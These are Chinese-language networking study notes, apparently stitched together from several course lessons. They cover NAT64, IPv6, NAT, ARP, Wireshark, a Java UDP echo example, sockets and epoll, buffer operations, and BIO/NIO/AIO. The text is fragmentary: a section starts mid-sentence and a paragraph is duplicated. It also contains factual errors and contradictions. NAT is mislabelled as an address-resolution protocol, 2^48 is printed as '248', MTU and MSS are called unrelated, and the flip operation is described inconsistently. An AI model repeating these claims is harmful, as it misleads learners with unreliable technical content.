客户端通过 DNS64 服务器查询 AAAA 记录。DNS64 是国际互联网工程任务组(IETF)提供的一种解决 IPv4 和 IPv6 兼容问题的 DNS 服务。这个 DNS 查询服务会把 IPv4 地址和 IPv6 地址同时返回。
DNS64 服务器返回含 IPv4 地址的 AAAA 记录。
客户端将对应的 IPv4 地址请求发送给一个 NAT64 路由器
由这个 NAT64 路由器将 IPv6 地址转换为 IPv4 地址,从而访问 IPv4 网络,并收集结果。
消息返回到客户端。
这种情况在普及 IPv6 的过程中比较常见,IPv6 的网络一开始是一个个孤岛,IPv6 网络需要通信,就需要一些特别的手段。
不知道你有没有联想到坐火车穿越隧道的感觉,连接两个孤岛 IPv6 网络,其实就是在 IPv4 网络中建立一条隧道。如下图所示:
隧道的本质就是在两个 IPv6 的网络出口网关处,实现一段地址转换的程序。
IPv6 和 IPv4 最核心的区别是地址空间大小不同。IPv6 用 128 位地址,解决了 IP 地址耗尽问题。因为地址空间大小不同,它们对地址的定义,对路由寻址策略都有显著的差异。
在路由寻址策略上,IPv6 消除了设备间地址冲突的问题,改变了划分子网的方式。在 IPv4 网络中,一个局域网往往会共享一个公网 IP,因此需要 NAT 协议和外网连接。
在划分子网的时候,IPv4 地址少,需要子网掩码来处理划分子网。IPv6 有充足的地址,因此不需要局域网共享外网 IP。也正因为 IPv6 地址多,可以直接将 IPv6 地址划分成站点、子网、设备,每个段都有充足的 IP 地址。
因为 IPv6 支持的 IP 地址数量大大上升,一个子网可以有 248 个 IP 地址,这个子网可能是公司网络、家庭网络等。这样 IP 地址的分配方式也发生了变化,IPv4 网络中设备分配 IP 地址的方式是中心化的,由 DHCP(动态主机协议)为局域网中的设备分配 IP 地址。而在 IPv6 网络中,因为 IP 地址很少发生冲突,可以由设备自己申请自己的 IP 地址。
另外因为 IPv6 中任何一个节点都可以是一个组播节点,这样就可以构造一个对等的网络,也就是可以支持在没有中心化的路由器,或者一个网络多个路由器的情况下工作。节点可以通过向周围节点类似打探消息的方式,发现更多的节点。这是一个配套 IPv6 的能力,叫作邻居发现(ND)。
【解析】网络地址解析协议(NAT)解决的是内外网通信的问题。NAT 通常发生在内网和外网衔接的路由器中,由路由器中的 NAT 模块提供网络地址转换能力。从设计上看,NAT 最核心的能力,就是能够将内网中某个 IP 地址映射到外网 IP,然后再把数据发送给外网的服务器。当服务器返回数据的时候,NAT 又能够准确地判断外网服务器的数据返回给哪个内网 IP。
正文:
广域网是由很多的局域网组成的,比如公司网络、家庭网络、校园网络等。
IPv4 的地址不够,因此需要设计子网。当一个公司申请得到一个公网 IP 后,会在自己的公司内部设计一个局域网。这个局域网所有设备的 IP 地址,通常会以 192.168 开头。
这个时候,假设你的职工小明,上班时间玩王者荣耀。当他用 UDP 协议向王者荣耀的服务器发送信息时,消息的源 IP 地址是一个内网 IP 地址,而王者荣耀的服务,是一个外网 IP 地址。
这里我先向你提一个问题,数据到王者荣耀服务器可以通过寻址和路由找到目的地,但是数据从王者荣耀服务器回来的时候,王者荣耀服务器如何知道192.168开头的地址应该如何寻址呢?要想回答这个问题,就涉及网络地址转换协议(NAT 协议)。
接下来我们讨论下同一个局域网中的设备如何交换消息。
首先,我们先明确一个概念,设备间通信的本质其实是设备拥有的网络接口(网卡)间的通信。为了区别每个网络接口,互联网工程任务组(IETF)要求每个设备拥有一个唯一的编号,这个就是 MAC 地址。
你可能会问:IP 地址不也是唯一的吗?其实不然,一旦设备更换位置,比如你把你的电脑从北京邮寄的广州,那么 IP 地址就变了,而电脑网卡的 MAC 地址不会发生变化。总的来说,IP 地址更像现实生活中的地址,而 MAC 地址更像你的身份证号。
在一个局域网中,我们不可以将消息从一个接口(网卡)发送到另一个接口(网卡),而是要通过交换机。为什么是这样呢?因为两个网卡间没有线啊!所以数据交换,必须经过交换机,毕竟线路都是由网卡连接交换机的。
数据的发送方,将自己的 MAC 地址、目的地 MAC 地址,以及数据作为一个分组(Packet),也称作 Frame 或者封包,发送给交换机。交换机再根据目的地 MAC 地址,将数据转发到目的地的网络接口(网卡)。
最后一个问题,你可能问,这个分组或者 Frame,是不是 IP 协议的分组呢?——不是,这里提到的是链路层的数据交换,它支持 IP 协议工作,是网络层的底层。所以,如果 IP 协议要传输数据,就要将数据转换成为链路层的分组,然后才可以在链路层传输。
链路层分组大小受限于链路层的网络设备、线路以及使用了链路层协议的设计。你有时候可能会看到 MTU 这个缩写词,它指的是 Maximun Transmission Unit,最大传输单元,意思是链路层网络允许的最大传输数据分组的大小。因此 IP 协议要根据 MTU 拆分封包。(MSS,这里我们复习下。MSS(Maximun Segment Size,最大段大小)是 TCP 段,或者称为 TCP 分组(TCP Packet)的最大大小。MSS 是传输层概念,MTU 是链路层概念。)
错误的关系:实际上二者没有关联
MTU = MSS + TCP Header + IP Header
因为 TCP 解决的是广域网的问题,MTU 是一个链路层的概念,要知道不同网络 MTU 是不同的,所以二者不可能产生关联。这也是为什么 IP 协议还可能会再拆包的原因。
链路层通过 MAC 地址定位网络接口(网卡)。在一个网络接口向另一个网络接口发送数据的时候,至少要提供这样 3 个字段:
源 MAC 地址
目标 MAC 地址
数据
对于一个网络接口,它如何能知道目标接口的 MAC 地址呢?我们在使用传输层协议的时候,清楚地知道目的地的 IP 地址,但是我们不知道 MAC 地址。这个时候,就需要一个中间服务帮助根据 IP 地址找到 MAC 地址——这就是地址解析协议(Address Resolution Protocol,ARP)。
整个工作过程和 DNS 非常类似,如果一个网络接口已经知道目标 IP 地址对应的 MAC 地址了,它会将数据直接发送给交换机,交换机将数据转发给目的地,这个过程如下图所示:
那么如果网络接口不知道目的地地址呢?这个时候,地址解析协议就开始工作了。发送接口会发送一个广播查询给到交换机,交换机将查询转发给所有接口。
如果某个接口发现自己就是对方要查询的接口,则会将自己的 MAC 地址回传。接下来,会在交换机和发送接口的 ARP 表中,增加一个缓存条目。也就是说,接下来发送接口再次向 IP 地址 2.2.2.2 发送数据时,不需要再广播一次查询了。
这个过程和 DNS 非常相似,采用的是逐级缓存的设计减少 ARP 请求。发送接口先查询本地的 ARP 表,如果本地没有数据,然后广播 ARP 查询。这个时候如果交换机中有数据,那么查询交换机的 ARP 表;如果交换机中没有数据,才去广播消息给其他接口。注意,ARP 表是一种缓存,也要考虑缓存的设计。通常缓存的设计要考虑缓存的失效时间、更新策略、数据结构等。
比如可以考虑用 TTL(Time To Live)的设计,为每个缓存条目增加一个失效时间。另外,更新策略可以考虑利用老化(Aging)算法模拟 LRU。
有时候,公司内部有多个子网。这个时候一个子网如果要访问另一个子网,就需要通过路由器。
也就是说,图中的路由器,其实充当了两个子网通信的桥梁。在上述过程中,发送接口不能直接通过 MAC 地址发送数据到接收接口,因为子网 1 的交换机不知道子网 2 的接口。这个时候,发送接口需要通过 IP 协议,将数据发送到路由器,再由路由器转发信息到子网 2 的交换机。这里提一个问题,子网 2 的交换机如何根据 IP 地址找到接收接口呢?答案是通过查询 ARP 表。
IPv4 协议因为存在网络地址耗尽的问题,不能为一个公司提供足够的地址,因此内网 IP 可能会和外网重复。比如内网 IP 地址192.168.0.1发送信息给22.22.22.22,这个时候,其实是跨着网络的。
跨网络必然会通过多次路由,最终将消息转发到目的地。但是这里存在一个问题,寻找的目标 IP 地址22.22.22.22是一个公网 IP,可以通过正常的寻址 + 路由算法定位。当22.22.22.22寻找192.168.0.1的时候,是寻找一个私网 IP,这个时候是找不到的。解决方案就是网络地址转换技术(Network Address Translation)【外网找私网使用该技术】。
NAT 技术转换的是 IP 地址,私有 IP 通过 NAT 转换为公网 IP 发送到服务器。服务器的响应,通过 NAT 转换为私有 IP,返回给客户端。通过这种方式,就解决了内网和外网的通信问题。
**重要:**链路层发送数据靠的是 MAC 地址,MAC 地址就好像人的身份证一样。局域网中,数据不可能从一个终端直达另一个终端,而是必须经过交换机交换。交换机也叫作链路层交换机,它的工作就是不断接收数据,然后转发数据。通常意义上,交换机不具有路由功能,路由器往往具有交换功能。但是往往路由器交换的效率,不如交换机。已知 IP 地址,找到 MAC 地址的协议,叫作地址解析协议(ARP)。
网络和网络的衔接,必须有路由器(或者等价的设备)。一个网络的设备不能直接发送链路层分组给另一个网络的设备,而是需要通过 IP 协议让路由器转发。
IPv6 解决了 IP 耗尽的问题,为机构、组织、公司、家庭等网络提供了充足的 IP 资源,从这个角度看是不是就不需要 NAT 协议了呢?
在没有 IPv6 之前,NAT 是 IP 资源耗尽的主流解决方案。在一个内网中的全部设备通过 NAT 协议共享一个外网的 IPv4 地址,是目前内外网对接的主要方式。IPv6 地址资源充足,可以给全球每个设备一个独立的地址。从这个角度看 IPv6 的确不需要 NAT 协议。
但是目前的情况,是 IPv6 网络还没有完全普及。尽管很多公司已经支持自己的互联网产品可以使用 IPv6 访问,但是公司内部员工使用的内部网络还是 IPv4。如果要连接 IPv6 和 IPv4 网络,仍然需要 NAT 协议(NAT64),这个协议可以让多个 IPv6 的设备共享一个 IPv4 的公网地址。
网络调试工具——Wireshark
Wireshark
步骤一:选择一个网络接口(Network Interface)。
Linux 下可以使用ifconfig指令看到所有的网络接口,Windows 下则使用 ipconfig。
步骤二:开启捕获功能
选择好接口之后,双击开启捕获,开启后看到的是一个个数据条目。
序号(No.): Wireshark 分配的一个从捕获开始的编号。
时间(Time):从捕获开始过去的时间戳,具体可以在视图中设置,比如可以设置成中文的年月日等。这里有很多配置需要你自己摸索一下,我就不详细介绍了。
源地址和目标地址(Source 和 Destination)是 IP 协议,注意这里有 IPv6 的地址,也有 IPV4 的地址。
协议可能有很多种,比如 TCP/UDP/ICMP 等,ICMP 是 IP 协议之上搭建的一个消息控制协议(Internet Control Message Protocol),比如 Ping 用的就是 ICMP;还有 ARP 协议(Address Resolution Protocol)用来在局域网广播自己的 MAC 地址。
Length :消息的长度(Bytes)。
Info :根据不同协议显示的数据,比如你可以看到在TCP 协议上看到Seq 和 ACK。这里的 Seq 和 ACK 已经简化过了,正常情况下是一个大随机数,Whireshark 帮你共同减去了一个初始值。
我们可以从不同的层面来看这次捕获。从传输层看是 TCP 段;从网络层来看是 IP 封包;从链路层来看是 Frame。
消息视图:
Whireshark 追溯的是最底层网卡传输的 Frame(帧),可以追溯到数据链路层。因此对二进制形式的解读,也就是我们的消息视图也要分层。因为对于同样的数据,不同层的解读是不同的。
最上面是 Frame 数据,主要是关注数据的收发时间和大小。
接着是数据链路层数据,关注的是设备间的传递。你可以在这里看到源 MAC 地址和目标 MAC 地址。
然后是网络层数据,IP 层数据。这里有 IP 地址(源 IP 地址和目标 IP 地址);也有头部的 Checksum(用来纠错的)。这里就不一一介绍了,你可以回到“06 | IPv4 协议:路由和寻址的区别是什么?”复习这块内容。
最下面是传输层数据。 也就是 TCP 协议。关注的是源端口,目标端口,Seq、ACK 等。
Wireshark 还提供了捕获的过滤,我们只需要输入过滤条件,就可以只看符合条件的捕获。
比如我们想分析一次到百度的握手。首先开启捕获,然后在浏览器输入百度的网址,最后通过ping指令看下百度的 IP 地址,如下图所示:
,写了一个回声服务(即客户端发送什么服务段返回什么),以下是服务端程序:
服务端程序
var socket = new DatagramSocket(8888);
var buf = new byte[256];
while (true) {
DatagramPacket packet
= new DatagramPacket(buf, buf.length);
System.out.println("try receive...");
socket.receive(packet);
var address = packet.getAddress();
int port = packet.getPort();
packet = new DatagramPacket(buf, buf.length, address, port);
String received
= new String(packet.getData(), 0, packet.getLength());
socket.send(packet);
}
客户端程序:
var buf = "Hello".getBytes();
var socket = new DatagramSocket();
var address = InetAddress.getByName("localhost");
var packet
= new DatagramPacket(buf, buf.length, address, 8888);
socket.send(packet);
socket.receive(packet);
String received = new String(
packet.getData(), 0, packet.getLength());
System.out.format("Server echo : %s\n", received);
通过观察上面两段程序,你会发现发送和接收的都是Datagram报文。而且服务端和客户端之间不需要建立连接。服务端可以通过读取客户端的地址区分客户端,客户端通过服务端地址和端口发送数据到服务端。
生活中问题:
比如说为什么部分产品要解决 NAT 穿透的问题?
网吧的用户会遇到什么问题?
为什么你 Ping 不通同一个局域网的另一台机器?
【解析】在 Linux 的设计中有三种典型的 I/O 多路复用模型 select、poll、epoll。
select 是一个主动模型,需要线程自己通过一个集合存放所有的 Socket,然后发生 I/O 变化的时候遍历。在 select 模型下,操作系统不知道哪个线程应该响应哪个事件,而是由线程自己去操作系统看有没有发生网络 I/O 事件,然后再遍历自己管理的所有 Socket,看看这些 Socket 有没有发生变化。
poll 提供了更优质的编程接口,但是本质和 select 模型相同。因此千级并发以下的 I/O,你可以考虑 select 和 poll,但是如果出现更大的并发量,就需要用 epoll 模型。
epoll 模型在操作系统内核中提供了一个中间数据结构,这个中间数据结构会提供事件监听注册,以及快速判断消息关联到哪个线程的能力(红黑树实现)。因此在高并发 I/O 下,可以考虑 epoll 模型,它的速度更快,开销更小。
Socket 对象负责提供通信能力,并处理底层的 TCP 连接/UDP 连接。对服务端而言,每一个客户端接入,就会形成一个和客户端对应的 Socket 对象,如果服务器要读取客户端发送的信息,或者向客户端发送信息,就需要通过这个客户端 Socket 对象。
如果从另一个角度去分析,Socket 还是一种文件,准确来说是一种双向管道文件。什么是管道文件呢?管道会将一个程序的输出,导向另一个程序的输入。那么什么是双向管道文件呢?双向管道文件连接的程序是对等的,都可以作为输入和输出。
服务端测程序
var serverSocket = new ServerSocket();
serverSocket.bind(new InetSocketAddress(80));
我们创建的是一个服务端 Socket 对象,如果我们理解成代表服务端本身合不合理呢——这可能会比较抽象,在服务端存在一个服务端 Socket。但如果我们从管道文件的层面去理解它,就会比较容易了。其一,这是一个文件;其二,它里面存的是所有客户端 Socket 文件的文件描述符。
当一个客户端连接到服务端的时候,操作系统就会创建一个客户端 Socket 的文件。然后操作系统将这个文件的文件描述符写入服务端程序创建的服务端 Socket 文件中。服务端 Socket 文件,是一个管道文件。如果读取这个文件的内容,就相当于从管道中取走了一个客户端文件描述符。
如上图所示,服务端 Socket 文件相当于一个客户端 Socket 的目录,线程可以通过 accept() 操作每次拿走一个客户端文件描述符。拿到客户端文件描述符,就相当于拿到了和客户端进行通信的接口。
前面我们提到 Socket 是一个双向的管道文件,当线程想要读取客户端传输来的数据时,就从客户端 Socket 文件中读取数据;当线程想要发送数据到客户端时,就向客户端 Socket 文件中写入数据。客户端 Socket 是一个双向管道,操作系统将客户端传来的数据写入这个管道,也将线程写入管道的数据发送到客户端。既然可以双向传送,这不就是两个单向管道被拼凑在了一起吗?这里具体的实现取决于操作系统,Linux 中的管道文件都是单向的,因此 Socket 文件是一种区别于原有操作系统管道的单独的实现。
总结下,Socket 首先是文件,存储的是数据。对服务端而言,分成服务端 Socket 文件和客户端 Socket 文件。服务端 Socket 文件存储的是客户端 Socket 文件描述符;客户端 Socket 文件存储的是传输的数据。读取客户端 Socket 文件,就是读取客户端发送来的数据;写入客户端文件,就是向客户端发送数据。对一个客户端而言, Socket 文件存储的是发送给服务端(或接收的)数据。
综上,Socket 首先是文件,在文件的基础上,又封装了一段程序,这段程序提供了 API 负责最终的数据传输。
为了区分应用,对于一个服务端 Socket 文件,我们要设置它监听的端口。比如 Nginx 监听 80 端口、Node 监听 3000 端口、SSH 监听 22 端口、Tomcat 监听 8080 端口。端口监听不能冲突,不然客户端连接进来创建客户端 Socket 文件,文件描述符就不知道写入哪个服务端 Socket 文件了。
这样操作系统就会把连接到不同端口的客户端分类,将客户端 Socket 文件描述符存到对应不同端口的服务端 Socket 文件中。
因此,服务端监听端口的本质,是将服务端 Socket 文件和端口绑定,这个操作也称为 bind。有时候我们不仅仅绑定端口,还需要绑定 IP 地址。这是因为有时候我们只想允许指定 IP 访问我们的服务端程序。
对于一个服务端程序,可以定期扫描服务端 Socket 文件的变更,来了解有哪些客户端想要连接进来。如果在服务端 Socket 文件中读取到一个客户端的文件描述符,就可以将这个文件描述符实例化成一个 Socket 对象
之后,服务端可以将这个 Socket 对象加入一个容器(集合),通过定期遍历所有的客户端 Socket 对象,查看背后 Socket 文件的状态,从而确定是否有新的数据从客户端传输过来。
在 I/O 多路复用技术中,服务端程序(线程)需要维护一个 Socket 的集合(可以是数组、链表等),然后定期遍历这个集合。这样的做法在客户端 Socket 较少的情况下没有问题,但是如果接入的客户端 Socket 较多,比如达到上万,那么每次轮询的开销都会很大。
命令式(从程序设计的角度来看,像这样主动遍历,比如遍历一个 Socket 集合看看有没有发生写入(有数据从网卡传过来))会让负责下命令的程序负载过重,例如,在高并发场景下,上述讨论中循环遍历 Socket 集合的线程,会因为负担过重导致系统吞吐量下降。
与命令式相反的是响应式(Reactive),响应式的程序就不会有这样的问题。在响应式的程序当中,每一个参与者有着独立的思考方式,就好像拥有独立的人格,可以自己针对不同的环境触发不同的行为。
从响应式的角度去看 Socket 编程,应该是有某个观察者会观察到 Socket 文件状态的变化,从而通知处理线程响应。线程不再需要遍历 Socket 集合,而是等待观察程序的通知。
当然,最合适的观察者其实是操作系统本身,因为只有操作系统非常清楚每一个 Socket 文件的状态。原因是对 Socket 文件的读写都要经过操作系统。在实现这个模型的时候,有几件事情要注意。
线程需要告诉中间的观察者自己要观察什么,或者说在什么情况下才响应?比如具体到哪个 Socket 发生了什么事件?是读写还是其他的事件?这一步我们通常称为注册。
中间的观察者需要实现一个高效的数据结构(通常是基于红黑树的二叉搜索树)。这是因为中间的观察者不仅仅是服务于某个线程,而是服务于很多的线程。当一个 Socket 文件发生变化的时候,中间观察者需要立刻知道,究竟是哪个线程需要这个信息,而不是将所有的线程都遍历一遍。
关于为什么要红黑树,考虑到中间观察者最核心的诉求有两个。
第一个核心诉求:是让线程可以注册自己关心的消息类型。比如线程对文件描述符 =123 的 Socket 文件读写都感兴趣,会去中间观察者处注册。当 FD=123 的 Socket 发生读写时,中间观察者负责通知线程,这是一个响应式的模型。
第二个核心诉求:是当 FD=123 的 Socket 发生变化(读写等)时,能够快速地判断是哪个线程需要知道这个消息。
所以,中间观察者需要一个快速能插入(注册过程)、查询(通知过程)一个整数的数据结构,这个整数就是 Socket 的文件描述符。综合来看,能够解决这个问题的数据结构中,跳表和二叉搜索树都是不错的选择。
因此,在 Linux 的 epoll 模型中,选择了红黑树。红黑树是二叉搜索树的一种,红与黑是红黑树的实现者才关心的内容,对于我们使用者来说不用关心颜色,Java 中的 TreeMap 底层就是红黑树。
总结:Socket 既是一种编程模型,或者说是一段程序,同时也是一个文件,一个双向管道文件。Socket API 是在 Socket 文件基础上进行的一层封装,而 Socket 文件是操作系统提供支持网络通信的一种文件格式。
在服务端有两种 Socket 文件,每个客户端接入之后会形成一个客户端的 Socket 文件,客户端 Socket 文件的文件描述符会存入服务端 Socket 文件。通过这种方式,一个线程可以通过读取服务端 Socket 文件中的内容拿到所有的客户端 Socket。这样一个线程就可以负责响应所有客户端的 I/O,这个技术称为 I/O 多路复用。
主动式的 I/O 多路复用,对负责 I/O 的线程压力过大,因此通常会设计一个高效的中间数据结构作为 I/O 事件的观察者,线程通过订阅 I/O 事件被动响应,这就是响应式模型。在 Socket 编程中,最适合提供这种中间数据结构的就是操作系统的内核,事实上 epoll 模型也是在操作系统的内核中提供了红黑树结构。
【解析】flip 操作意味翻转,是切换缓冲区的读写状态,在 flip 操作中,通常将 position 指针置 0,limit 指针不变。
正文:
流和缓冲区都是用来描述数据的。
计算机中,数据往往会被抽象成流,然后传输。比如读取一个文件,数据会被抽象成文件流;播放一个视频,视频被抽象成视频流。处理节点为了防止过载,又会使用缓冲区削峰(减少瞬间压力)。
在传输层协议当中,应用往往先把数据放入缓冲区,然后再将缓冲区提供给发送数据的程序。发送数据的程序,从缓冲区读取出数据,然后进行发送。
流代表数据,具体来说是随着时间产生的数据,类比自然界的河流。你不知道一个流什么时候会完结,直到你将流中的数据都读完。
思考这个问题,可不可以将数据直接从文件传输到用户线程呢?比如流对象中只设计一个整数型指针,一开始指向文件的头部,每次发生读取,都从文件中读出内容,然后再返回给用户线程。做完这次操作,指针自增。通过这样的设计,流中就不需要再有数据了。可见**,流中不一定要有数据**。再举一个极端的例子,如果我们设计一个随机数的产生流,每次读取流中的数据,都调用随机数函数生成一个随机数并返回,那么流中也不需要有数据的存储。
设计文件流时,可以只保留一个位置指针,不用真的将整个文件都读入内存,像下图这样:
把文件看作是一系列线性排列连续字节的合集,用户线程调用流对象的读取数据方法,每次从文件中读取一个字节。流中只保留一个读取位置 position,指向下一个要读取的字节。
看上去这个方案可行,但实际上性能极差。因为从文件中读取数据这个操作,是一次磁盘的 I/O 操作,非常耗时。正确的做法是每次读取 2k、4k 这样大小的数据,这是因为操作系统中的内存分页通常是这样的大小,而磁盘的读写往往是会适配页表大小。而且现在的文件系统主要都是日志文件系统,存储的并不是原始数据本身,也就是说多数情况下你看到的文件并不是一个连续紧密的字节线性排列,而是日志。
如上图所示,内核每次从文件系统中读取到的数据是确定的,但是里边的有效数据是不确定的。流对象的设计,至少应该支持两种操作:一种是读取一个字节,另一种是读取多个字节。而无论读取一个字节还是读取多个字节,都应该适配内核的底层行为。也就是说,每次流对象读取一个字节,内核可能会读取 2k、4k 的数据。这样的行为,才能真的做到减少磁盘的 I/O 操作。
内核为什么不一次先读取几兆数据或者读取更大的数据呢?这有两个原因。
如果是高并发场景下,并发读取数据时内存使用是根据并发数翻倍的,如果同时读取的数据量过大,可能会导致内存不足。
读取比 2k/4k……大很多倍的数据,比如 1M/2M 这种远远大于内存分页大小的数据,并不能提升性能。
最后我们的解决办就是创建两个缓冲区:
内核中的缓冲区,用于缓冲读取文件中的数据。流中的缓冲区,用于缓冲内核中拷贝过来的数据。
为什么不把内核的缓冲区直接给到流呢?这是因为流对象工作在用户空间,内核中的缓冲区工作在内核空间。用户空间的程序不可以直接访问内核空间的数据,这是操作系统的一种保护策略。
当然也存在一种叫作内存映射的方式,就是内核通过内存映射,直接将内核空间中的一块内存区域分享给用户空间只读使用,这样的方式可以节省一次数据拷贝。这个能力在 Java 的 NIO 中称作 DirectMemory,对应 C 语言是 mmap。
缓冲区就是一块用来做缓冲的内存区域。在上面的例子当中,为了应对频繁的字节读取,我们在内存当中设置一个 2k 大小缓冲区。这样读取 2048 次,才会真的发生一次读取。同理,如果应对频繁的字节写入,也可以使用缓冲区。
不仅仅如此,比如说你设计一个秒杀系统,如果同时到达的流量过高,也可以使用缓冲区将用户请求先存储下来,再进行处理。这个操作我们称为削峰,削去流量的峰值。
缓冲区中的数据通常具有朴素的公平性,说白了就是排队,先进先出(FIFO)。从数据结构的设计上,缓冲区像一个队列。
在实际的使用场景中,缓冲区有一些自己特别的需求,比如说缓冲区需要被重复利用。多次读取数据,可以复用一个缓冲区,这样可以节省内存,也可以减少分配和回收内存的开销。
举个例子:读取一个流的数据到一个缓冲区,然后再将缓冲区中的数据交给另一个流。 比如说读取文件流中的数据交给网络流发送出去。首先,我们要将文件流的数据写入缓冲区,然后网络流会读取缓冲区中的数据。这个过程会反反复复进行,直到文件内容全部发送。
这个设计中,缓冲区需要支持这几种操作:
写入数据
读出数据
清空(应对下一次读写)
3. 每次写入数据,position 增 1,比如我们顺序写入 a,b,c,d 后,缓冲区如下图所示:
4.如果这个时候,要切换到读取状态该怎么做呢?增加一个 limit 指针,随着写入指针一起增长,如下图所示:
5.当需要切换到读取状态的时候,将 position 设置为 0,limit 不变即可。下图中,我们可以从 0 开始读取数据,每次读取 position 增 1。
我们将 position 设置为 0,limit 不变的操作称为flip操作,flip 本意是翻转,在这个场景中是读、写状态的切换。
读取操作可以控制循环从 position 一直读取到 limit,这样就可以读取出 a,b,c,d。那么如果要继续写入应该如何操作呢? 这个时候就需要用到缓冲区的clear操作,这个操作会清空缓冲区。具体来说,clear操作会把 position,limit 都设置为 0,而不需要真的一点点擦除缓冲区中已有的值,就可以做到重复利用缓冲区了。
写入过程从 position = 0 开始,position 和 limit 一起自增。读取时,用flip操作切换缓冲区读写状态。读取数据完毕,用clear操作重置缓冲区状态。
总结:缓冲区的作用是缓冲,它在高频的 I/O 操作中很有意义。针对不同场景,也不只有这一种缓冲区的设计,比如用双向链表实现队列(FIFO 结构)可以作为缓冲区;Redis 中的列表可以作为缓冲区;RocketMQ,Kafka 等也可以作为缓冲区。针对某些特定场景,比如高并发场景下的下单处理,可能会用订单队列表(MySQL 的表)作为缓冲区。
作为开发者我们首先要有缓冲的意识,去减少 I/O 的次数,提升 I/O 的性能,然后才是思考具体的缓冲策略。
有时候一个缓冲区读取过了,需要再读取一次,此时就可以用 rewind 操作来重置缓冲区的 position 指针。
在实战的过程中,某些场景下 rewind 和 flip 结果相同。比如现在缓冲区是 ABCDEFG,position=7, limit=7。这个时候代表我们已经完成了写入。如果需要切换到读取状态,用 flip 和 rewind 操作的结果相同,都会将 position 置零。
再举个例子,比如现在缓冲区是 ABCDEFG,position=3,limit=7,缓冲区处于读取状态。如果我们想要重读,应该用什么呢?当然是 rewind,rewind 有倒带的语义。你可以思考,这个时候如果调 flip 结果对吗?
这个时候调 flip 处理会把 position 置为 0 外,limit 也会设置为 3(position 的旧值)。因为只有这样,才是读写状态的翻转。也就是说,如果写入了 3 个字符,不管 limit 现在是多少,flip 切换到读取状态也只能读 3 个字符。
【解析】总的来说,这三者是三个 I/O 的编程模型。BIO 接口设计会直接导致当前线程阻塞。NIO 的设计不会触发当前线程的阻塞。AIO 为 I/O 提供了异步能力,也就是将 I/O 的响应程序放到一个独立的时间线上去执行。但是通常 AIO 的提供者还会提供异步编程模型,就是实现一种对异步计算封装的数据结构,并且提供将异步计算同步回主线的能力。
通常情况下,这 3 种 API 都会伴随 I/O 多路复用。如果底层用红黑树管理注册的文件描述符和事件,可以在很小的开销内由内核将 I/O 消息发送给指定的线程。另外,还可以用 DMA,内存映射等方式优化 I/O。
正文:
在处理网络问题时,经常是处理 I/O 问题——输入和输出。看上去很复杂,但说白了就是如何把网卡收到的数据给到指定的程序,然后程序如何将数据拷贝到网卡。
BIO、NIO、AIO 的区别,其实就是在讨论 I/O 的模型,我们可以从下面 3 个方面来思考 。
编程模型:合理设计 API,让程序写得更舒服。
数据的传输和转化成本:比如减少数据拷贝次数,合理压缩数据等。
高效的数据结构:利用好缓冲区、红黑树等(见本讲后续讨论)。
BIO(Blocking I/O,阻塞 I/O),API 的设计会阻塞程序调用。比如:
byte a = readKey()
假设readKey方法会从键盘中读取一个用户的按键,如果是阻塞 I/O 的设计,ReadKey 会阻塞当前用户线程直到用户按键。这个阻塞指的是线程进入阻塞态。进入阻塞态的线程,状态会被存在内存中,执行会被中断,也就是不会占用 CPU å资源。阻塞态的线程要恢复执行,先要进入就绪态排队,然后轮到自己才能够继续执行。从一个线程执行切换到另一个线程执行,也叫作线程的上下文切换(Context Switch),是一个相对耗时的操作。
NIO (None Blocking I/O,非阻塞 IO),API 的设计不会阻塞程序的调用,比如:
byte a = readKey()
假设readKey方法从键盘读取一个按键,如果是非阻塞 I/O 的设计,readKey不会阻塞当前的线程。你可能会问:那如果用户没有按键怎么办?在阻塞 I/O 的设计中,如果用户没有按键线程会阻塞等待用户按键,在非阻塞 I/O 的设计中,线程不会阻塞,没有按键会返回一个空值,比如 null。
AIO(Asynchronous I/O, 异步 I/O),API 的设计会多创造一条时间线。比如:
func callBackFunction(byte keyCode) {
// 处理按键
}
readKey( callBackFunction )
在异步 I/O 中,readKey方法会直接返回,但是没有结果。结果需要一个回调函数callBackFunction去接收。从这个角度看,其实有两条时间线。第一条是程序的主干时间线,readKey的执行到readKey下文的程序都在这条主干时间线中。而callBackFunction的执行会在用户按键时触发,也就是时间不确定,因此callBackFunction中的程序是另一条时间线也是基于这种原因产生的,我们称作异步,异步描述的就是这种时间线上无法同步的现象,你不知道callbackFunction何时会执行。
无论是哪种 I/O 模型,都要将数据从网卡拷贝到用户程序(接收),或者将数据从用户程序传输到网卡(发送)。另一方面,有的数据需要编码解码,比如 JSON 格式的数据。还有的数据需要压缩和解压。数据从网卡到内核再到用户程序是 2 次传输。注意,将数据从内存中的一个区域拷贝到另一个区域,这是一个 CPU 密集型操作。数据的拷贝归根结底要一个字节一个字节去做。
从网卡到内核空间的这步操作,可以用 DMA(Direct Memory Access)技术控制。DMA 是一种小型设备,用 DMA 拷贝数据可以不使用 CPU,从而节省计算资源。遗憾的是,通常我们写程序的时候,不能直接控制 DMA,因此 DMA 仅仅用于设备传输数据到内存中。不过,从内核到用户空间这次拷贝,可以用内存映射技术,将内核空间的数据映射到用户空间
缓冲区是一种在处理 I/O 问题中常用的数据结构:
一方面缓冲区起到缓冲作用,在瞬时 I/O 量较大的时候,利用排队机制进行处理。
另一方面,缓冲区起到一个批处理的作用,比如 1000 次 I/O 请求进入缓冲区,可以合并成 50 次 I/O 请求,那么整体性能就会上一个档次。
缓冲区还可以减少实际对内存的诉求
I/O 并不需要很大的计算资源。通常我们在处理高并发的时候,也不需要大量的线程去进行 I/O 处理。
,I/O 并不需要很大的计算资源。通常我们在处理高并发的时候,也不需要大量的线程去进行 I/O 处理。
因此我们在处理高并发的时候,一种常见的 I/O 多路复用模式就是由少量的线程处理大量的网络接收、发送工作。然后再由更多的线程,通常是一个线程池处理具体的业务工作。在这样一个模式下,有一个核心问题需要解决,就是当操作系统内核监测到一次 I/O 操作发生,它如何具体地通知到哪个线程调用哪段程序呢:
这时,一种高效的模型会要求我们将线程、线程监听的事件类型,以及响应的程序注册到内核。具体来说,比如某个客户端发送消息到服务器的时候,我们需要尽快知道哪个线程关心这条消息(处理这个数据)。例如 epoll 就是这样的模型,内部是红黑树。我们可以具体地看到文件描述符构成了一棵红黑树,而红黑树的节点上挂着文件描述符对应的线程、线程监听事件类型以及相应程序。
论哪种编程模型都需要使用缓冲区,也就是说 BIO、AIO、NIO 都需要缓冲区,因此关系很大。在我们使用任何编程模型的时候,如果内部没有使用缓冲区,那么一定要在外部增加缓冲区。另一个联系是类似 epoll 这种注册+消息推送的方式,可以帮助我们节省大量定位具体线程以及事件类型的时间。这是一个通用技巧,并不是独有某种 I/O 模型才可以使用。
